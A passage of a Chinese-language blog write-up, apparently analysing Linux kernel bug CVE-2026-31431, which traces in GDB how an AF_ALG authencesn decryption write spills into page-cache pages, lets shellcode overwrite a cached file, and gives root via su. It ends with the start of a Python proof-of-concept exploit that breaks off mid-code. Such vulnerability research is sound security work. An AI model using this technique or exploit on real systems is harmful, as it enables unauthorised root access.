z-c">0</span> </span></span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> <span class="z-punctuation z-section z-block z-end z-c">}</span></span> </span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> <span class="z-punctuation z-section z-block z-end z-c">}</span></span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-end z-c">}</span></span> </span></code></pre> <blockquote> <p>Struct file的结构</p> <pre data-lang="C++" class="language-C++ z-code"><code class="language-C++" data-lang="C++"><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-storage z-type z-c++">struct</span> </span><span class="z-meta z-struct z-c++"><span class="z-entity z-name z-struct z-c++">file</span></span><span class="z-meta z-struct z-c++"> <span class="z-meta z-block z-c++"><span class="z-punctuation z-section z-block z-begin z-c++">{</span></span></span><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> spinlock_t f_lock<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> fmode_t f_mode<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-modifier z-c++">const</span> <span class="z-storage z-type z-c++">struct</span> file_operations <span class="z-keyword z-operator z-c++">*</span>f_op<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c++">struct</span> address_space <span class="z-keyword z-operator z-c++">*</span>f_mapping<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c">void</span> <span class="z-keyword z-operator z-c++">*</span>private_data<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c++">struct</span> inode <span class="z-keyword z-operator z-c++">*</span>f_inode<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c">unsigned</span> <span class="z-storage z-type z-c">int</span> f_flags<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c++">struct</span> path f_path<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> loff_t f_pos<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-modifier z-c++">const</span> <span class="z-storage z-type z-c++">struct</span> cred <span class="z-keyword z-operator z-c++">*</span>f_cred<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> <span class="z-storage z-type z-c++">struct</span> file_ra_state f_ra<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"> atomic_long_t f_count<span class="z-punctuation z-terminator z-c++">;</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"></span></span><span class="z-meta z-struct z-c++"><span class="z-meta z-block z-c++"><span class="z-punctuation z-section z-block z-end z-c++">}</span></span></span><span class="z-punctuation z-terminator z-c++">;</span> </span></code></pre> </blockquote> <p>从f_op可以判断，这个是指向的匿名管道，这里也就是pipe buffer 环</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust">private_data <span class="z-keyword z-operator z-assignment z-rust">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-rust">0xffff888005c4ea80</span> </span></code></pre> <p>我们查看pipe的内容</p> <pre data-lang="C" class="language-C z-code"><code class="language-C" data-lang="C"><span class="z-source z-c">p <span class="z-keyword z-operator z-c">*</span><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span><span class="z-storage z-type z-c">struct</span> pipe_inode_info <span class="z-keyword z-operator z-c">*</span><span class="z-punctuation z-section z-group z-end z-c">)</span></span><span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888005c4ea80</span> </span><span class="z-source z-c">$<span class="z-constant z-numeric z-integer z-decimal z-c">3</span> <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> mutex <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> rd_wait <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> wr_wait <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> max_usage <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">16</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> ring_size <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">16</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> nr_accounted <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">16</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> readers <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">1</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> writers <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">1</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> files <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">2</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> r_counter <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">1</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> w_counter <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">1</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> poll_usage <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-language z-c">false</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> note_loss <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-language z-c">false</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> tmp_page <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span><span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-separator z-c">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-section z-block z-end z-c">}</span></span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> fasync_readers <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> fasync_writers <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> bufs <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888005eb2000</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> user <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffffffff83682300</span> <span class="z-keyword z-operator z-comparison z-c">&lt;</span>root_user<span class="z-keyword z-operator z-comparison z-c">&gt;</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> watch_queue <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-end z-c">}</span></span> </span></code></pre> <p>此时bufs就是指向的内容,此时应该是空的，因为pipe还并未使用</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105030430.png" alt="image-20260513105030430" /></p> <p>而另一个则是文件的，可以明显看到这里是ext4的文件</p> <pre data-lang="Bash" class="language-Bash z-code"><code class="language-Bash" data-lang="Bash"><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-shell"><span class="z-variable z-function z-shell"><span class="z-meta z-group z-expansion z-parameter z-shell"><span class="z-punctuation z-definition z-variable z-shell">$</span><span class="z-variable z-other z-readwrite z-shell">5</span></span></span></span><span class="z-meta z-function-call z-arguments z-shell"> = <span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-punctuation z-section z-expansion z-brace z-begin z-shell">{</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_lock = ...<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_mode = 206209053<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_op = 0xffffffff8265f540 &lt;ext4_file_operations&gt;<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_mapping = 0xffff888004d6c280<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> private_data = 0x0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_inode = 0xffff888004d6c110<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_flags = 32768<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_iocb_flags = 0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_cred = 0xffff88800579f0c0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_owner = 0x0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_path = <span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-punctuation z-section z-expansion z-brace z-begin z-shell">{</span> </span></span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> mnt = 0xffff88800549fda0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> dentry = 0xffff888004cab780 </span></span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> <span class="z-punctuation z-section z-expansion z-brace z-end z-shell">}</span></span><span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> ... </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_pos = 0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_security = 0xffff88800530c730<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_wb_err = 0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_sb_err = 0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> f_ep = 0x0<span class="z-punctuation z-separator z-shell">,</span> </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"> ...... </span></span></span><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-arguments z-shell"><span class="z-meta z-group z-expansion z-brace z-shell"><span class="z-punctuation z-section z-expansion z-brace z-end z-shell">}</span></span></span> </span></code></pre> <p>在这个f_path里的dentry处我们可以确定文件的文件名</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105113671.png" alt="image-20260513105113671" /></p> <p>而其中文件的内容应该如何去寻找呢？我们先了解一下结构</p> <pre data-lang="C" class="language-C z-code"><code class="language-C" data-lang="C"><span class="z-source z-c">file </span><span class="z-source z-c"> └── inode </span><span class="z-source z-c"> └── <span class="z-meta z-function-call z-c"><span class="z-variable z-function z-c">address_space</span><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span></span></span><span class="z-meta z-function-call z-c"><span class="z-meta z-group z-c">i_mapping</span></span><span class="z-meta z-function-call z-c"><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-end z-c">)</span></span></span> </span><span class="z-source z-c"> └── page cache <span class="z-keyword z-operator z-arithmetic z-c">/</span> folio </span><span class="z-source z-c"> └── 实际文件数据 </span></code></pre> <p>我们从其中的f_inode进入</p> <pre data-lang="C" class="language-C z-code"><code class="language-C" data-lang="C"><span class="z-source z-c"><span class="z-meta z-function-call z-c"><span class="z-variable z-function z-c">p</span> <span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span></span></span><span class="z-meta z-function-call z-c"><span class="z-meta z-group z-c"><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span><span class="z-storage z-type z-c">struct</span> inode <span class="z-keyword z-operator z-c">*</span><span class="z-punctuation z-section z-group z-end z-c">)</span></span><span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004c32d20</span></span><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-end z-c">)</span></span></span><span class="z-punctuation z-accessor z-c">-&gt;</span>i_mapping </span><span class="z-source z-c">$<span class="z-constant z-numeric z-integer z-decimal z-c">6</span> <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span><span class="z-storage z-type z-c">struct</span> address_space <span class="z-keyword z-operator z-c">*</span><span class="z-punctuation z-section z-group z-end z-c">)</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004c32e90</span> </span></code></pre> <p>然后找到对应的页</p> <pre data-lang="C" class="language-C z-code"><code class="language-C" data-lang="C"><span class="z-source z-c"> p <span class="z-keyword z-operator z-c">*</span><span class="z-meta z-group z-c"><span class="z-punctuation z-section z-group z-begin z-c">(</span><span class="z-storage z-type z-c">struct</span> address_space <span class="z-keyword z-operator z-c">*</span><span class="z-punctuation z-section z-group z-end z-c">)</span></span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004c32e90</span> </span><span class="z-source z-c"> </span><span class="z-source z-c"> i_pages <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-accessor z-c">.</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> xa_flags <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">33554465</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> xa_head <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffffea00001e9880</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> <span class="z-punctuation z-section z-block z-end z-c">}</span></span><span class="z-punctuation z-separator z-c">,</span> </span><span class="z-source z-c"> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-accessor z-c">.</span> </span><span class="z-source z-c"> <span class="z-invalid z-illegal z-stray-bracket-end z-c">}</span> </span></code></pre> <p>这里的xa_head是我们page cache,这里我们需要结算一下，就是我们要的地址</p> <p>x86_64 通常：</p> <pre class="z-code"><code><span class="z-text z-plain">vmemmap_base = 0xffffea0000000000 </span><span class="z-text z-plain">sizeof(struct page)=0x40 </span></code></pre> <p>所以：</p> <pre class="z-code"><code><span class="z-text z-plain">0xffffea00001e9880 </span><span class="z-text z-plain">-0xffffea0000000000 </span><span class="z-text z-plain">------------------ </span><span class="z-text z-plain"> 0x1e9880 </span></code></pre> <p>再除：</p> <pre class="z-code"><code><span class="z-text z-plain">0x1e9880 / 0x40 = 0x7a620 </span></code></pre> <p>得到：</p> <pre class="z-code"><code><span class="z-text z-plain">PFN = 0x7a620 </span></code></pre> <p>direct map：</p> <pre class="z-code"><code><span class="z-text z-plain">phys = PFN &lt;&lt; 12 </span><span class="z-text z-plain"> = 0x7a620000 </span><span class="z-text z-plain">virt = phys + 0xffff888000000000 </span></code></pre> <p>即：</p> <pre class="z-code"><code><span class="z-text z-plain">0xffff88807a62000 </span></code></pre> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105131114.png" alt="image-20260513105131114" /></p> <p>执行完此函数后的返回值则是完成的splice链，构成链后，从 AEAD 解密的视角来解读这段连续数据：</p> <ul> <li><strong>AAD</strong>= 前<code>assoclen=8</code>字节 = sendmsg 发送的<code>\x00\x00\x00\x00</code>+shellcode</li> <li><strong>密文 (Ciphertext)</strong>= 中间<code>t</code>字节 = file[0:t]（文件的前 t 字节被当成"密文"）</li> <li><strong>认证标签 (Auth Tag)</strong>= 最后<code>authsize=4</code>字节 = file[t:t+4]</li> </ul> <p>总字节数 = 8 + t + 4 = t + 12。</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105151195.png" alt="image-20260513105151195" /></p> <p>在这里我们断到af_alg_get_rsgl,在这里，将我们之前文件页的信息拼接</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105223382.png" alt="image-20260513105223382" /></p> <p>我们继续往下跟这里，这里就是去将shellcode写到文件内容，我们跟进细看这个函数</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105300342.png" alt="image-20260513105300342" /></p> <p>跟进看其中的memcpy</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105418858.png" alt="image-20260513105418858" /></p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105428145.png" alt="image-20260513105428145" /></p> <p>这里是进行了写，并对内容修改</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513105444118.png" alt="image-20260513105444118" /></p> <p>根据我们之前跟到了内存内容，发现文件页也发生了改写</p> <blockquote> <p>No other standard AEAD algorithm in the kernel does this. GCM, CCM, and regular authenc all confine their writes to the legitimate output area. authencesn alone writes past the boundary.</p> <p>In the AF_ALG in-place path, this write crosses from the output buffer into the chained page cache tag pages. scatterwalk_map_and_copy walks past the RX buffer, maps the page cache page via kmap_local_page, and writes seqno_lo directly into the kernel's cached copy of the target file. The HMAC computation then runs and fails (the ciphertext is fabricated), so recvmsg() returns an error, but the 4-byte controlled write persists.</p> </blockquote> <p>标签（Tag）区域对应于拼接文件数据的最后 <code>authsize</code> 字节，以此类推，就能替换完全</p> <p>当脏页替换完后，直接命令执行su即可</p> <h2 id="poc">Poc</h2> <pre data-lang="Python" class="language-Python z-code"><code class="language-Python" data-lang="Python"><span class="z-source z-python"><span class="z-comment z-line z-number-sign z-python"><span class="z-punctuation z-definition z-comment z-python">#</span>!/usr/bin/env python3 </span></span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-statement z-import z-python"><span class="z-keyword z-control z-import z-python">import</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span></span> </span><span class="z-source z-python"><span class="z-meta z-statement z-import z-python"><span class="z-keyword z-control z-import z-python">import</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zlib</span></span></span> </span><span class="z-source z-python"><span class="z-meta z-statement z-import z-python"><span class="z-keyword z-control z-import z-python">import</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">socket</span></span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-function z-python"><span class="z-storage z-type z-function z-python"><span class="z-keyword z-declaration z-function z-python">def</span></span> <span class="z-entity z-name z-function z-python"><span class="z-meta z-generic-name z-python">hex_to_bytes</span></span></span><span class="z-meta z-function z-parameters z-python"><span class="z-punctuation z-section z-parameters z-begin z-python">(</span></span><span class="z-meta z-function z-parameters z-python"><span class="z-variable z-parameter z-python">hex_str</span></span><span class="z-meta z-function z-parameters z-annotation z-python"><span class="z-punctuation z-separator z-annotation z-parameter z-python">:</span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">str</span></span></span><span class="z-meta z-function z-parameters z-python"><span class="z-punctuation z-section z-parameters z-end z-python">)</span></span><span class="z-meta z-function z-python"> </span><span class="z-meta z-function z-annotation z-return z-python"><span class="z-punctuation z-separator z-annotation z-return z-python">-&gt;</span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">bytes</span></span></span><span class="z-meta z-function z-python"><span class="z-punctuation z-section z-function z-begin z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-comment z-block z-documentation z-python"><span class="z-punctuation z-definition z-comment z-begin z-python">&quot;&quot;&quot;</span>把十六进制字符串转为 bytes<span class="z-punctuation z-definition z-comment z-end z-python">&quot;&quot;&quot;</span></span> </span><span class="z-source z-python"> <span class="z-keyword z-control z-flow z-return z-python">return</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">bytes</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">fromhex</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">hex_str</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-function z-python"><span class="z-storage z-type z-function z-python"><span class="z-keyword z-declaration z-function z-python">def</span></span> <span class="z-entity z-name z-function z-python"><span class="z-meta z-generic-name z-python">send_chunk</span></span></span><span class="z-meta z-function z-parameters z-python"><span class="z-punctuation z-section z-parameters z-begin z-python">(</span></span><span class="z-meta z-function z-parameters z-python"><span class="z-variable z-parameter z-python">fd</span><span class="z-punctuation z-separator z-parameters z-python">,</span> <span class="z-variable z-parameter z-python">offset</span><span class="z-punctuation z-separator z-parameters z-python">,</span> <span class="z-variable z-parameter z-python">chunk_data</span><span class="z-punctuation z-section z-parameters z-end z-python">)</span></span><span class="z-meta z-function z-python"><span class="z-punctuation z-section z-function z-begin z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-comment z-block z-documentation z-python"><span class="z-punctuation z-definition z-comment z-begin z-python">&quot;&quot;&quot;</span> </span></span><span class="z-source z-python"><span class="z-comment z-block z-documentation z-python"> 利用 AF_ALG socket 发送数据（疑似 exploit 逻辑） </span></span><span class="z-source z-python"><span class="z-comment z-block z-documentation z-python"> fd: 打开的文件描述符 </span></span><span class="z-source z-python"><span class="z-comment z-block z-documentation z-python"> offset: 当前偏移 </span></span><span class="z-source z-python"><span class="z-comment z-block z-documentation z-python"> chunk_data: 4 字节数据块 </span></span><span class="z-source z-python"><span class="z-comment z-block z-documentation z-python"> <span class="z-punctuation z-definition z-comment z-end z-python">&quot;&quot;&quot;</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">AF_ALG</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">38</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">279</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sock</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">socket</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">socket</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">AF_ALG</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">5</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sock</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">bind</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-sequence z-tuple z-python"><span 